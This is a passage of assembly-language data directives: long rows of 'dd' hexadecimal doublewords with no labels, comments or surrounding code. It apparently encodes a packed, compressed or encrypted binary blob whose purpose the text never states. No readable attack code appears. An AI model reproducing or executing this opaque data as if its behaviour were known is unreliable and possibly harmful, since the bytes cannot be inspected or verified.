2E13EE96h dd 0C5387489h, 115101C8h, 0C9E16C5Ch, 50613461h, 88C53D27h dd 0C7D7CC12h, 9CC72D3h, 1C09A466h, 2B0247C6h, 8812B20Dh dd 428D0898h, 0D75BFF3Eh, 646B7CEEh, 0A114460Eh, 0FE68D841h dd 0B42C1E5Ah, 139B30A0h, 421D0A8Ah, 0D1C7D938h, 51B5C984h dd 0ED751320h, 2DD8480Bh, 0E3C1C303h, 12785610h, 0A2BF0A29h dd 0E6F49BFh, 41F003CBh, 0FFF183F9h, 0FCCFAB48h, 14C2F4C6h dd 0ACE18104h, 25B60A92h, 1FD365B3h, 83DFF07h, 808DE633h dd 8AEAC4C2h, 428B2248h, 0D838FC04h, 38933674h, 8ADCC2EFh dd 0E7833CCFh, 2210E8C1h, 0DC441527h, 0EBD48806h, 0B25C9668h dd 70FEADCEh, 31FD0702h, 0E06909FCh, 0B8A30488h, 863C758Fh dd 33D83A02h, 26880A2Eh, 123C61C3h, 1D8AE625h, 7C41F8B1h dd 2B196402h, 3F030F11h, 0A6A24EA4h, 0D29236DEh, 1D8BF011h dd 0D1051B90h, 921F40E0h, 5E018832h, 420263D8h, 41E98B19h dd 28BEE063h, 66A81BC2h, 5C6840B2h, 8CA89D2h, 0A8C189C9h dd 8C4E7A96h, 92BB7434h, 46F60C33h, 0C0BBA434h, 0ABF3E017h dd 5F0B07F4h, 0A4B3168Ah, 2781CA78h, 8540CF23h, 12E3D203h dd 405448Dh, 81461866h, 61E575C4h, 0A685E5F4h, 0EF20EF0Eh dd 0E2CCB99Ah, 0FAF0516Ah, 525B60CEh, 0EEC1E3D3h, 4C8A0302h dd 4184E035h, 0C25077Fh, 0F6EB42F0h, 44DA6C8Bh, 24AB1E17h dd 584A5661h, 2659E0D3h, 224275E1h, 0B5FCC380h, 2BA402FAh dd 25F55EC2h, 56458992h, 0CB84C323h, 849210E3h, 9613E2E7h dd 87930EECh, 164ECB0Fh, 34E3E813h, 0B1840FDBh, 0F06D2D33h dd 5BD9E893h, 0B6B0E636h, 95536596h, 2FC3B22Eh, 63A63239h dd 0C76CFC2Eh, 88479085h, 8816911Fh, 0CF75610Ah, 83E08B4Fh dd 6243F7EFh, 2CD703ABh, 4EBE040Ah, 0BC097558h, 0EB4E61F3h dd 5153211Ch, 6433743Fh, 72B04933h, 30D94CBCh, 0D27DCBDDh dd 3F470D36h, 49054DC1h, 0FE9F375h, 233EF61h, 0E2B6C5D6h dd 0F6D0882Bh, 0B32AD044h, 2BC2CB66h, 5968443Ah, 0DA0D233h dd 2535788h, 581B4610h, 0A079969Ch, 0A2651925h, 314C9E62h dd 0C603D101h, 0EB76FE3Bh, 820FF8A0h, 9401782Fh, 0C11455D4h dd 73727Ch, 297208F9h, 24FFA5F3h, 0C4589509h, 38117841h dd 0E94403BAh, 0C72041Dh, 30FEE05Eh, 708530C8h, 0B564BFC3h dd 903F6866h, 89EC7F11h, 0AC0B9980h, 2310D009h, 0B958AD1h dd 1F505ADh, 212B4FFh, 2012AFDBh, 0C754C6B4h, 8A85CC5Dh dd 522C498Dh, 76D0262Eh, 0A622CC83h, 24905216h, 47454632h dd 388C1A85h, 0FCC4F40h, 8934093Ch, 2424122Ch, 9114481Ch dd 8E11500Ch, 3A89E43Ah, 0E811648Fh, 0EC45225Dh, 5DF024D2h dd 0D2F44522h, 225DF824h, 8DD0FC45h, 9F72E504h, 0F8245859h dd 23C5530Ah, 92270F1h, 6B90457Ch, 0C7C78FD5h, 0C489EBAh dd 1AFA3272h, 0EA42A12h, 2C0BA8DAh, 31748DC1h, 397CD08Eh dd 24807292h, 0FD0D281Ch, 0F1FC62E4h, 0F710C5F0h, 7B6692D9h dd 0A5F0A6A0h, 88F91190h, 0C4F8422Bh, 89C5F018h, 280B9908h dd 0DC165009h, 6E3B0348h, 0B34EACE0h, 0B657A14Fh, 2098680Fh dd 0EE71A4EAh, 32EF0692h, 2A968C7Eh, 0DA289052h, 59AC9C4Bh dd 0AF4222EEh, 0FA5E4648h, 0A35CB611h, 0AC0F32A4h, 0BC24B409h dd 0CC91C448h, 0E745D422h, 2E1C6852h, 17181199h, 74149148h dd 48171089h, 89740C91h, 91481708h, 98937404h, 0CCE20CAh dd 0C8080CC6h, 2C911809h, 0B8D08C52h, 884FB645h, 845E1045h dd 0B8951443h, 59B58BB5h, 2C49219Fh, 7F8BCEB9h, 19608B55h dd 652A10B8h, 9CB881C7h, 0BE10083Eh, 60F869A8h, 6DECBE5Fh dd 0BD5035C5h, 51581095h, 598CDD32h, 0EC0495Dh, 2566E8DBh dd 0A7F64F0h, 0AA163Dh, 0E85575E6h, 0E69F5002h, 2D7E2711h dd 1AAA7E43h, 23999D74h, 8EB0535Dh, 0E80B6A41h, 5B48F22Ah dd 0D070EB25h, 4A0E5344h, 0C262FC71h, 1805DC0Fh, 29648857h dd 310D1F4Dh, 3DEBC8CBh, 4F7231E8h, 0B9F85D53h, 69DCBB2Ch dd 98C75C5Fh, 50CE810Eh, 22F84484h, 20C3F606h, 8F19ED75h dd 0E810853Fh, 67725FD3h, 1355A664h, 8960D5F8h, 438CA3EFh dd 0E06FBCCh, 0C3E2DB15h, 1CA0B823h, 5C7F405h, 0DF06CF64h dd 36141935h, 1E1360A3h, 8B9B6844h, 216C1422h, 701118DBh dd 45238328h, 0C4534C74h, 0D99BF407h, 0DD4BFE7Dh, 80A48C8Eh dd 7AB0FBCCh, 0E66DFEFCh, 0F47D33DFh, 2676FE0Ch, 0F84855E6h dd 8468AC46h, 0D0501223h, 408F4EBCh, 47ACE80Ch, 4FC80887h dd 0C40C9055h, 103B4E2Ch, 22AA4F88h, 478D210Ch, 0A7745B6Bh dd 0C01C557Ch, 647AF0EAh, 0E7231D5Ah, 0A9A3CA03h, 3F275108h dd 64FC631Eh, 0E0FF0B08h, 8C2FB68h, 590D58E0h, 1C240487h dd 115C070Dh, 0A1642857h, 0F886C631h, 0C8E88CC7h, 6A5E4170h dd 919608BDh, 469E64D4h, 4067904Bh, 4D86FD62h, 0A44178D0h dd 1BB8D62Eh, 50FDD4D7h, 33D25D73h, 0A12A04DAh, 331B8EFCh dd 4F0250C0h, 0A1DAE989h, 0BE4853D1h, 143ECD20h, 73ACBB67h dd 0DAB6E55Fh, 79C6A47Ah, 0B4ACD665h, 35D0F48Eh, 0A9F0088Ah dd 864017C9h, 0A1859BDDh, 19A8EC12h, 0E18CFF20h, 5118A2C6h dd 76E815B7h, 0C8328E5Bh, 0F8B9EC68h, 351B23C1h, 4DAFA5FCh dd 0CDF870E4h, 5B68E708h, 4D648411h, 0C5F75D62h, 0D8F2B2D7h dd 82EEA25Dh, 4FE2C4CAh, 0D6453418h, 1C400C8Ah, 0AF2C82E8h dd 0F04E6552h, 9497E5F8h, 4431B9BCh, 5FCD549Fh, 6DCC2689h dd 109EA5F8h, 0B18573D8h, 2601CC44h, 53AE4B86h, 0D4938263h dd 21502D0Fh, 26A5BC3Ah, 0EAA8F7E4h, 0FFCC94C9h, 177475C8h dd 576ABC91h, 0EBB1D810h, 485CBF09h, 0D5CCA2CDh, 602A5A65h dd 13918DD5h, 0C2BFE083h, 6740F62h, 12491BEh, 4DBAF45Ah dd 5230ADAh, 64814ECh, 0CD006A10h, 4A035C17h, 236E5243h dd 0B2478C7h, 5F02CA77h, 0BBEC044h, 1C673324h, 0DF206B63h dd 0BF9F1866h, 26927CCEh, 0CBABAB95h, 3177EBBEh, 0C69A5F44h dd 72F22B89h, 83397C06h, 50B78FEh, 0DF5A93E8h, 8D4E2A90h dd 39B60404h, 4EA1834Ch, 3B055E81h, 0D67E0848h, 220C1F85h dd 0A4644DF6h, 73486BD0h, 0C524CA68h, 46144D01h, 0CA83189h dd 3B010372h, 4770C47h, 9176F0A9h, 896D4B90h, 0C485A5F0h dd 0EDF28C5Ah, 68CA413Eh dd 7A41CB8Ch, 9BD03921h, 42645D02h, 92BD3F92h, 69541B4h dd 0D9B8FF52h, 950F16E2h, 413AB112h, 2DB80272h, 7FC336D2h dd 0C50FE27h, 9468FE6Ah, 0FAB06483h, 890E2DD8h, 35D48425h dd 60583508h, 13A91911h, 71E12E74h, 8D28B0C7h, 8B760634h dd 0B489B30Ch, 9E48E281h, 4927C30h, 68122403h, 2E1F8D01h dd 1840FC33h, 1254FF6Fh, 641CC3EBh, 0E627058Fh, 548D8A48h dd 42C6281Bh, 79810A0Dh, 722A6904h, 52FA5150h, 3EED39E6h dd 9C0D09E1h, 0BBB28B07h, 225556Ch, 8809340Ah, 6DE4BEFh dd 6B81045Dh, 0C25B590Ch, 9FF0D0A0h, 504C55C2h, 0C9B52EFh dd 6CB3A6BBh, 98D1632h, 620AD450h, 7B12E425h, 0D821D680h dd 0CCF0F0CDh, 0CDE82386h, 70086C14h, 92C0BCCh, 80798A50h dd 0CDD82174h, 0CDD82374h, 0CF401952h, 9BC0F99h, 24AC12B4h dd 919C48A4h, 9E8C2294h, 0D8625780h, 0F11112CDh, 0FC0991F0h dd 9ACE1016h, 4270BC80h, 7120CFCFh, 0CE4378ACh, 33CF7011h dd 22A81988h, 809ED009h, 0CF7021D4h, 0CF7023D4h, 0F35C8654h dd 92C0F99h, 243C1234h, 914C4844h, 9E672254h, 206A5780h dd 640D80C6h, 48980988h, 8095A7ACh, 490074D2h, 0E517C682h dd 0CF012F5Fh, 0AAE2B656h, 0B229797Fh, 0B1550DEh, 0D51BB759h dd 0F22BF1E8h, 3B340795h, 3A735E30h, 0AE83752h, 0C4C0E53Fh dd 0F52E3144h, 12D93FE1h, 2F69107Bh, 19D42B8Eh, 105A328h dd 8D02F9C1h, 4989880Ch, 5A166B46h, 583DF05h, 0BD6C0C1Eh dd 25688AC7h, 8959C849h, 7FC3480Ah, 79E8D910h, 98CAD0B2h dd 0F4A53E59h, 0E8180390h, 2C2909BCh, 838A8DA1h, 0A3450920h dd 5FC34209h, 62B7FECEh, 6DF37DD8h, 16B7F127h, 0AEC8EFA4h dd 2D3BE8EAh, 0A3EBA205h, 0E8441BBEh, 2E4484A0h, 89E89E6h dd 12E28921h, 1214119Ah, 209824E0h, 0C490A107h, 0AF45EB0Fh dd 0A01777E7h, 0CBC7AC71h, 3DC1F21Bh, 7D9C6612h, 0B323ECEh dd 0F709DC0Ch, 895595CAh, 90CB50D8h, 21D89FA8h, 0BFE07514h dd 3A53143h, 4642A35Fh, 0D546F75Eh, 793E5695h, 84F208F6h dd 1AE8BC80h, 3052554Bh, 825AA3EDh, 234302C4h, 0F076C3AAh dd 0C0D1CA5Ah, 0F9058DCEh, 7883918Fh, 0B013CD35h, 0E00C12FFh dd 8EB72E9Ah, 47276146h, 0F2E8C438h, 3C411C2Ch, 80C9421Ah dd 0E16120E1h, 0E086EC04h, 0C1AD0FA7h, 0C0F8D245h, 96789D1Ch dd 0B834A080h, 0AFA86AEFh, 27214090h, 0D8201F10h, 2570D09Dh dd 5759057Bh, 716C92A8h, 12381115h, 1EDA74C3h, 0FFD84997h dd 792544F1h, 8E7AA591h, 6F5F8379h, 0A3233AFh, 0EC0145DFh dd 0F6A04ED7h, 0EF24335Dh, 3C518919h, 4EC42BAFh, 4418CC5Fh dd 63335944h, 9631AFFh, 8030AF6Fh, 77480A8h, 45FC6324h dd 6ADE14EBh, 87F107Fh, 0C8D3F6F4h, 4613BCACh, 7F24FF18h dd 76DBB4AAh, 541017BCh, 387D0C8Bh, 0E68B4944h, 0CC0D4FEBh dd 0A58A16F2h, 0F1FC5F5Fh, 20DAA2B4h, 0C80B364Ch, 960F60Dh dd 0E1F70421h, 681070C2h, 20CB0C53h, 0CA64FC1Eh, 470A03ACh dd 5BD383E1h, 9AF7374Ah, 7922BA97h, 0C969F885h, 9A74DF92h dd 233BCD44h, 4E84BF07h, 0AAE1810Ch, 29743F91h, 22988C2Eh dd 0FBBC3B64h, 0E09834BAh, 0E81E3635h, 0CB3CEFF9h, 2B1D97A7h dd 7970E5DFh, 5DB9464Ah, 48D69275h, 0FF720D0Bh, 79D38C2Ah dd 0D9790B7h, 0A3C34B8Bh, 2BFB09A6h, 0EDECF8FAh, 3444355h dd 893455C2h, 0A6316Bh, 3BD82B99h, 3E72C712h, 0E86CE2E9h dd 0C790561Ch, 1704FC95h, 8764EB22h, 45450587h, 0AC4BA522h dd 0A47FB4A6h, 0A55A96A8h, 50FC1B70h, 0A7BE4D97h, 0CDFCDF06h dd 752BC72Ah, 6AE7EDFFh, 0D9EAE234h, 11A72F5Ah, 3006B662h dd 0A7CADBD4h, 27F61D89h, 1674023Ah, 8B0D8198h, 0FF3C1422h dd 21DBEB11h, 0FF6D2E2Eh, 31167CF6h, 710B1860h, 0FCD206h dd 241019B3h, 668AF1D7h, 0D31F110Ch, 0C81741EBh, 8E393EF5h dd 72D11440h, 76DB74E9h, 0BD800EAh, 0F7F475C9h, 0F0498BF3h dd 0C87466AEh, 3147E35h, 72D103E6h, 511E3B0Eh, 71E0877h dd 1765930h, 0B3C99F4Eh, 47C4225Eh, 0D2B4170h, 5451146Fh dd 0C99ED6Fh, 0EB188AC2h, 10916F50h, 8470C22h, 148CC8C8h dd 0A6100B91h, 0E20C456Ch, 876C92Eh, 1B99BC74h, 11BF1424h dd 0DABE0245h, 0D3839EE1h, 0A67D3985h, 0E3A49D03h, 0D0288423h dd 6DD64752h, 3231544Ch, 29BA89C1h, 1C2BE556h, 0E218101Ch dd 53272A1Ch, 591448C4h, 0A4F21D10h, 4598541Ah, 53EB72D1h dd 0DB22B8D9h, 0C827F148h, 2C18641Ch, 10478E14h, 21CC4F26h dd 0BD8949B3h, 0F4A1F638h, 0B181BA92h, 8BC13ADBh, 0F871FC5Dh dd 0D001346Dh, 7F741838h, 84067E8Ah, 7B0B7C61h, 16057A7Ah dd 0B08820E9h, 750B1A0Dh, 0FE67EBEAh, 2539B15h, 3BBEFFA9h dd 813B48D9h, 454D476h, 209BECAAh, 38741F20h, 0DED0C957h dd 99FF638Bh, 5B882A5Fh, 28205057h, 6BA035EAh, 0CBB1A7E8h dd 0CCAD2092h, 7B3D635Fh, 0FC26EA95h, 4C72F41Ah, 88F9DDAh dd 0BD9E65B3h, 6A0E8287h, 0E8C5904h, 221C1EB9h, 5925CF99h dd 2894CF52h, 911908B2h, 0B408CB0Eh, 0EC2EB720h, 3438B5D6h dd 4895F2F3h, 9ED70BA7h, 3274057Bh, 7D1CE2A9h, 3A0E8A00h dd 4652750Fh, 0EB484C47h, 17A3166Fh, 45EBD138h, 0ED014EC1h dd 152DCF57h, 0E1A1293Bh, 0DADBE8A7h, 0DE75EAE3h, 0E8E012FFh dd 0F32B8326h, 0E127A2A7h, 57CDFC09h, 104D3ACFh, 374DF52Ch dd 0EA6F7E2Eh, 3021D59h, 12B370B8h, 865FC01Bh, 0FDC36A39h dd 90168BC4h, 33CA380Fh, 18C8E775h, 0E0BBEEBBh, 43110E2Eh dd 0B26ACB27h, 3B0686E2h, 48CD276Ah, 0E0209B5Bh, 0E49738A4h dd 0B81D4E4Dh, 0F4181DAh, 9DB3AA8Ch, 8FC95A12h, 5AC008A1h dd 975DB820h, 0EB2A22E1h, 3B40E727h, 127D5EDFh, 21353925h dd 2E0B7E18h, 1D57361Dh, 0A21C6B2h, 58130FA8h, 9585C623h dd 0EBC31E03h, 8C15A265h, 4AC11413h, 0C88DA0F8h, 4A12D9B0h dd 83A88001h, 8A0A6518h, 0D8DC8802h, 58095DC3h, 0ED1E9EEBh dd 181448C3h, 8BD5C62Dh, 107DFE12h, 2B44E03h, 88D19357h dd 0AE5152D6h, 688F06Ah, 524C8ED6h, 0DAFD0D0Dh, 54DC5A08h dd 0CF240B1Dh, 6683C86Bh, 84396483h, 0A2D8341h, 4010E3CFh dd 0FF58EB8Fh, 0C12BF602h, 9248F8D1h, 9872D5E8h, 3FF6332Eh dd 57D63B01h, 3022840Fh, 1025DD58h, 0DA91CA7Eh, 316B392Ah dd 86212975h, 64AC14CAh, 66C8030Ch, 89E831C2h, 0A8803236h dd 40B5444Ah, 14944271h, 47B8E413h, 0BF0C5DC4h, 98524FD8h dd 50AE907Eh, 4104AC09h, 2AD6E9BAh, 0D688FEE4h, 0AD86541h dd 2CEE7A43h, 0B32AC4C7h, 6FEB0448h, 83C44F8Dh, 2DC00CC6h dd 0FAE1088Ah, 6F20261Ch, 1B6772D2h, 0E9F54036h, 0B0A6172Ah dd 5713DE7Ch, 0BF4CC32Bh, 8701BC50h, 0EB2F7502h, 0BADB9AFh dd 0CF2E442Bh, 0ADBC13D6h, 4D85638h, 6588E99Fh, 29B2515h dd 4883742Eh, 40EC3C56h, 77202F68h, 346BFCFAh, 0BCDBCC0Ah dd 445FCBD7h, 6465F82Eh, 53B06CE8h, 0D48AC907h, 0C5504DDFh dd 33207C21h, 8C43DFFFh, 0C11D4C0Dh, 33208F8h, 104816CAh dd 0A33510E8h, 4E0F1144h, 7D404B56h, 0A8037B1Ah, 0B0E31C6Ah dd 89595B7Ch, 485B3B68h, 9DAC8C02h, 46CC5AA3h, 205819AAh dd 65D2A8F4h, 4FD6689h, 0DDE50547h, 7F4CA5BEh, 5664B1ECh dd 95E843A8h, 39D97F54h, 0D084F69Ch, 0F0067401h, 0E097D4A1h dd 0C5580AA0h, 139C753Ch dd 0A160BFDFh, 633820E8h, 0A0456CFEh, 7FA71234h, 0A04A6EB8h dd 4D9009C5h, 51509802h, 0CC52D3E8h, 75C88897h, 0D299FC98h dd 0B0D9083Fh, 18E00192h, 3C5B4159h, 13898CF7h, 0A023F568h dd 43A9800Ah, 44252130h, 89642834h, 0F3264D59h, 84B2ED4Bh dd 803D3B81h, 0F5886CDh, 39378683h, 0F726C78Bh, 51FD5h dd 1C8D1FE6h, 0CC498085h, 3397A15h, 14C6488Bh, 2EBD0430h dd 0F909A469h, 0C4E1DE5Dh, 89AEF23Ch, 0E8F38316h, 872F4BE2h dd 0D92C8F1Bh, 3B335913h, 221C40C5h, 7EF9CD58h, 4A5190F6h dd 8B69B23Bh, 64F9F8E8h, 58353CEDh, 6C8059B2h, 0ED3CB464h dd 55097403h, 1628DAE8h, 8015EB61h, 258314F9h, 4DB8199Ch dd 0EE098963h, 5B5D2DABh, 3879391Ah, 0F6C01D93h, 0B876FF19h dd 0EDD5F4B9h, 0E48166DCh, 0FBF7350Ch, 6A70E76h, 6084646h dd 2B5E0429h, 48ECF825h, 9138CD09h, 0A725BC45h, 0A7715923h dd 203002D9h, 4C0D46F6h, 4A4EC840h, 8D8D5F25h, 6146D8F7h dd 7AF23E6Ah, 7A3C5328h, 56DB5A0Ch, 0E1AA41A2h, 40F98003h dd 0A96637E8h, 31F30850h, 138026D0h, 77B82B3Eh, 57267E05h dd 613C0B50h, 60229A75h, 0A40E7543h, 0EEED9099h, 49FD5A24h dd 27EB079Ah, 0BDFFCBA1h, 0E4662863h, 0DC5D9982h, 0A274AF6h dd 4C8F02E8h, 0B7B257CBh, 0FF4CDB74h, 0CC6010F8h, 0A1897E39h dd 9DA2BC58h, 12E9B004h, 2A48DD38h, 0E40ED9C4h, 65857230h dd 820FC509h, 0AFF2E18h, 431D6279h, 160917C2h, 44132986h dd 36DA026Dh, 0F97539E2h, 3B46D80Bh, 0B37C4DA8h, 0E22D39ABh dd 4AD57E74h, 8703EB38h, 0D9842683h, 38304072h, 2DB45A4Dh dd 403C480Bh, 3C030D4Ch, 1A8E8AC1h, 40A70E88h, 146521Bh dd 0B8043E51h, 0CCD1122Ch, 0BE05DE89h, 0B12ADFCDh, 0DB10AD56h dd 81AE498h, 641BA878h, 456C1211h, 0C8AF7205h, 6E902B1h dd 0EDD4206Ch, 790682Dh, 446550E6h, 216AA196h, 732C71B4h dd 0F740D011h, 2141E38Dh, 6459D38h, 10234FCh, 87C613Ch dd 48AE07Fh, 88203E2Ch, 19384102h, 4290ED75h, 7EC8166Ah dd 4EE8892Ch, 8451551h, 49EB1A21h, 0AE641096h, 0AA2E0A9Dh dd 83A09636h, 0CB86813h, 1B817E56h, 41434950h, 39DB883Bh dd 0DCF05A43h, 2C6A313Eh, 16E22A1Ch, 30F9E71Ah, 9CC8AF70h dd 800E07CDh, 475E039h, 0EB541988h, 6A5AF23Ch, 53FCDBF4h dd 0A95E88DDh, 0A1D3363h, 618AA03h, 489FD401h, 0C798E84Eh dd 927D80B5h, 0E8F05906h, 7D9703E4h, 277294AAh, 0D99FDA72h dd 86DE25AFh, 0BC880C26h, 0EFA34471h, 36747141h, 65B793E8h dd 0A8C8F48Bh, 14688D9Bh, 64247452h, 0AEB311Dh, 0F41875C3h dd 0A4E10B5Eh, 7327005Fh, 5BB891A3h, 68E232BBh, 9DCE70D5h dd 0B3B2BDCDh, 17522BCh, 44263559h, 0C862B41Fh, 664CB80Eh dd 11B06BA3h, 0DC0E906h, 0A8685898h, 65B8950Dh, 1F03A190h dd 0C2800C8Dh, 8808A0BCh, 0B673C13Bh, 2B048753h, 0FA81C350h dd 724C4B86h, 14C006C9h, 0B7EEE8EBh, 8B2FA05Bh, 3EB1F959h dd 20D841BDh, 0C683FE01h, 0F0792BFCh, 0F7FEFC1h, 0C969CF13h dd 8DC841AEh, 5544018Ch, 0F0BD809Ah, 494B0E8Bh, 12AF7EA1h dd 0E66F86D0h, 3114E533h, 0F63F53C7h, 56F006AAh, 0F87F0CFCh dd 0C2F612C6h, 0C5D003Ch, 0FAC17E75h, 83744A04h, 3763F0Eh dd 8B5A836Ah, 983BE34Bh, 0C14C7508h, 1E732020h, 80A250BBh dd 0D301CA8Bh, 24C8DEBh, 21DCF704h, 44B8025Ch, 287509FEh dd 1F7282AFh, 4A8D8595h, 1F2151E0h, 0C4B89CC3h, 6452164h dd 92045921h, 0CCFDFC0Ch, 58080328h, 5B1EB653h, 0F48CBC04h dd 552E5A89h, 0FF950C55h, 2A52132Eh, 0B6D13132h, 0F15D4E80h dd 0F49712A8h, 0EC10B589h, 86FF752Bh, 4FBC125h, 0F3895036h dd 3B5E0B4Bh, 520E76DEh, 2C34909Bh, 390689D1h, 0E925D63Bh dd 6A74DAD8h, 1414CE63h, 8073BE71h, 0FB408340h, 0BE431Ch dd 0F7EED3CBh, 0A87421D6h, 14034CBAh, 9A267504h, 1FEB3180h dd 0E0554B8Dh, 0B41D121Fh, 4146B8B3h, 0D07122BAh, 493C9A97h dd 0C4E8994h, 6FF609Eh, 0CF755224h, 0E7E15D27h, 0EDDFC3F4h dd 5DB62BEAh, 245C6C54h, 20BD04D1h, 655E6D94h, 705FB752h dd 0C9883CDh, 60751E3Bh, 54208A49h, 4D0E8851h, 0B8C1FE0Fh dd 98257319h, 8292F7A8h, 89602D0Eh, 1C1909EDh, 0AE44516Eh dd 29DD18FDh, 47102552h, 0A3262067h, 0BA212156h, 8494EA9Eh dd 1009C4B9h, 61E4EBEh, 6C304447h, 0FF4EF012h, 0F7329EE8h dd 7E6AA12Dh, 0DC44F066h, 0AC0D378Bh, 0F935671Dh, 0E1C1A6A0h dd 0DEB8030Fh, 1380A6CEh, 53B288BBh, 0D6FF5114h, 43339120h dd 50090A5Ch, 3AA10F08h, 0D2A5EA7h, 19DA88A4h, 0FE218558h dd 0B274348h, 7980678Fh, 901A8BAh, 0FE046083h, 0D7AC1254h dd 6996FF3Fh, 0A01C5653h, 13ABD691h, 7B10142Dh, 0F6196956h dd 0F466EE8Bh, 0C180040Bh, 225BF4E0h, 982B7729h, 0EC111D4Ch dd 14484E51h, 0FAD10596h, 4A57E2EAh, 0A00DDDB4h, 0A2053B30h dd 1A60DF23h, 1458086Dh, 5336D32Fh, 3D892945h, 1E513FA5h dd 0B4A5EC6Eh, 3131642Dh, 957CD9Dh, 2371823Ch, 8317BEB0h dd 23F059E1h, 4F9C107h, 2082AE49h, 62DF0E7Dh, 5F0B42E5h dd 66028029h, 0EC88EBF4h, 8FA2591h, 0E8D3F61Ah, 153ADE1Fh dd 0D80968A1h, 9881DF3Bh, 65197308h, 23DBF323h, 0FE0E5873h dd 6275CF0Bh, 5714C383h, 33181543h, 7511E772h, 0DA8B3F79h dd 4627D8A8h, 8D05C815h, 0E534E6EBh, 734B8B59h, 0F689D711h dd 8A29402Dh, 38EDEB55h, 0DA22610h, 91301CA8h, 0E80E0BEEh dd 0C9BC1338h, 3B87DB85h, 0F6531474h, 59671FDAh, 1F710B8h dd 0A9044355h, 0E8B8FF38h, 892B0F8Ch, 6EA61D53h, 0FA2E792Ah dd 0FC55C841h, 8C925CBEh, 77B42790h, 2844757Ch, 48FB3789h dd 24C87013h, 9FDE2055h, 481FE451h, 31B0B53h, 0A917F318h dd 0E82F8491h, 883B9A34h, 0FE1EC005h, 0D70B3901h, 48E3E974h dd 3317989Ah, 60617DFFh, 0B1C24C49h, 980D75CEh, 0C0206A67h dd 0C9855FCBh, 0D103057Ch, 0F7EB47E1h, 5443188Bh, 2B0A88F9h dd 0F1691FB2h, 0FEC6875Eh, 0A1834ED3h, 0E7657E3Fh, 98F7C830h dd 10D2299h, 73224A58h, 48836180h, 2B2C85FFh, 89CFC501h dd 620B3F0Fh, 0F453A838h, 5C23EC01h, 5DF4488h, 750FFE09h dd 1E40BA38h, 0B21EC4Dh, 58CAB8EBh, 50E4154Fh, 9F48962Ch dd 19864DD6h, 996FA854h, 86A22D86h, 0D2D9B266h, 0F5EE7A06h dd 79894648h, 1AEDB3EFh, 9D127308h, 0AAA18471h, 28F17C0Bh dd 4637A6C0h, 51D9523Dh, 0F30C2246h, 0B0649E5Ch, 0FE0640C0h dd 587D0B88h, 974CC229h, 65EFE177h, 30BFC625h, 0EFD3CEB1h dd 0B3B092Bh, 7CFC90A2h, 2FEBAFA0h, 0D8229A5h, 0ACE04E8Dh dd 947B5521h, 0BC8D8A17h, 622E6DAEh, 37098686h, 91F84E2Ch dd 0CA0A8957h, 29FC01C1h, 75E67F34h, 0D165F077h, 13040146h dd 0A097FC32h, 33440E36h, 3E20798Dh, 1D3B1AD8h, 373CED99h dd 1ABB9912h, 530742A2h, 89253070h, 422C8D08h, 0B0690904h dd 8AA80D03h, 1729647Dh, 53075C1h, 9450895Dh, 22EDF870h dd 0F3575ABCh, 0C73BC27Fh, 51894274h, 0C912A59Bh, 0B093E1Ah dd 34B8C55Ch, 46C4B06Ah, 34923127h, 0B0F45981h, 10468968h dd 4300497h, 7514B9ABh, 0A8B1B196h, 1A4CC415h, 92754F0Ch dd 0FACD5707h, 855F092Dh, 22C44E7Dh, 7E8EC61Ch, 6305CA04h dd 5A8384B3h, 0C94AA922h dd 7FE16451h, 0C9714C57h, 3397413Ch, 44C312DBh, 4943E050h dd 693887C3h, 5A8291D9h, 9930F970h, 8DF7AC83h, 43060840h dd 4AB2C09Ch, 41FB1F49h, 70E7C186h, 0C3879DDh, 10102168h dd 4B8C4780h, 93C882B9h, 0C978D8Eh, 1E3B0C70h, 993C77FAh dd 6148F047h, 0EC88D0F3h, 7EF50F4Dh, 0FC7FCEEh, 0F06440C7h dd 1E694355h, 48F0FED0h, 80C7040Dh, 150223E8h, 8F578905h dd 1CE8732Dh, 0F88BC71Ah, 50C8440h, 0B8C8F84Ah, 0E84FDC5Fh dd 4A8D1BADh, 10B4120Ch, 9E640C90h, 0EBBC8644h, 8A0EE422h dd 0C8694346h, 0C0840C82h, 4E887BE8h, 30475F8h, 0BA047809h dd 0EA019AB6h, 5021D2F7h, 73C3E508h, 0FD0C8AB5h, 7C1052B2h dd 0D7806FD4h, 2B17708Dh, 0EA45514Eh, 0ACC1E683h, 85610FEAh dd 4FB08332h, 3B5949FCh, 5C2C505Dh, 96C9395Bh, 0F7E97FEEh dd 0F63B8E5Fh, 854CBEC3h, 1E03134Fh, 8FF33BD9h, 35D3458Fh dd 3FF1981Bh, 76248EB2h, 59184F06h, 985F8B11h, 4803E7E4h dd 73202C0Bh, 954161Fh, 14C8DF8h, 9042F2C4h, 24122B23h dd 227C1884h, 78904E9Ch, 94ED4FF5h, 650989A7h, 65897F06h dd 2B103083h, 0F85A01CEh, 8EAA44EBh, 9F22B8AAh, 0C10C2A70h dd 4F0433FFh, 3078318Ah, 5F44FB9Ch, 1CE4F40Fh, 2ACC10FBh dd 12DB405Bh, 46805C0Ch, 0E60C186Dh, 2C1E3B26h, 108C5C75h dd 4EFF2207h, 204C5F13h, 16EE2141h, 0E648CF47h, 6658B941h dd 25EB2ACFh, 33105C21h, 8448784Bh, 2ED2BAA6h, 482C4FDDh dd 210C5516h, 6532449Dh, 1743043h, 243787B1h, 0CD9F46F7h dd 2A852242h, 0EA47E9F8h, 0ECC0E74Eh, 340F0F43h, 0E00D3A8Dh dd 0B5D329DFh, 6E4BA44Ch, 0A533595Ch, 2C52B47Dh, 83234CE9h dd 5ED84CEFh, 552BF64Ch, 8BD4C68Bh, 599524Fh, 22491915h dd 752E053Bh, 0CA5213BAh, 24CE226Ch, 517A0674h, 0B26C680Eh dd 6481C4Eh, 0EEA9ED77h, 2177107Ah, 0E6C1BC71h, 31B8F08h dd 870CCEE6h, 71EEAC76h, 0D4B027Bh, 714BDA7Bh, 2EFBA6CDh dd 715AEE5Ch, 131835AEh, 63AE8D62h, 2440D4E3h, 0CE716239h dd 0B1840F08h, 122268E6h, 4E622C79h, 2C58A587h, 134C0348h dd 98BFFC18h, 3D258341h, 0FF31C1A0h, 60B562Eh, 1990BEC3h dd 681DEB0Eh, 5B9F3720h, 9BEAD4Eh, 110C840Fh, 0D1622D73h dd 40E27058h, 0EAD52A85h, 0BE848823h, 2934D5CFh, 318506Bh dd 34D35753h, 25AF03D2h, 3B5C01B8h, 0A01E75F0h, 63960AE4h dd 6408A314h, 1C33941Ch, 0EB0800F5h, 0A1068915h, 0C25409A2h dd 935283Dh, 28308B44h, 0EC68878Dh, 9198698Eh, 76D5F257h dd 0EB4E5818h, 0F9CB7E28h, 37EDA170h, 712DF1B9h, 0FCFD83D2h dd 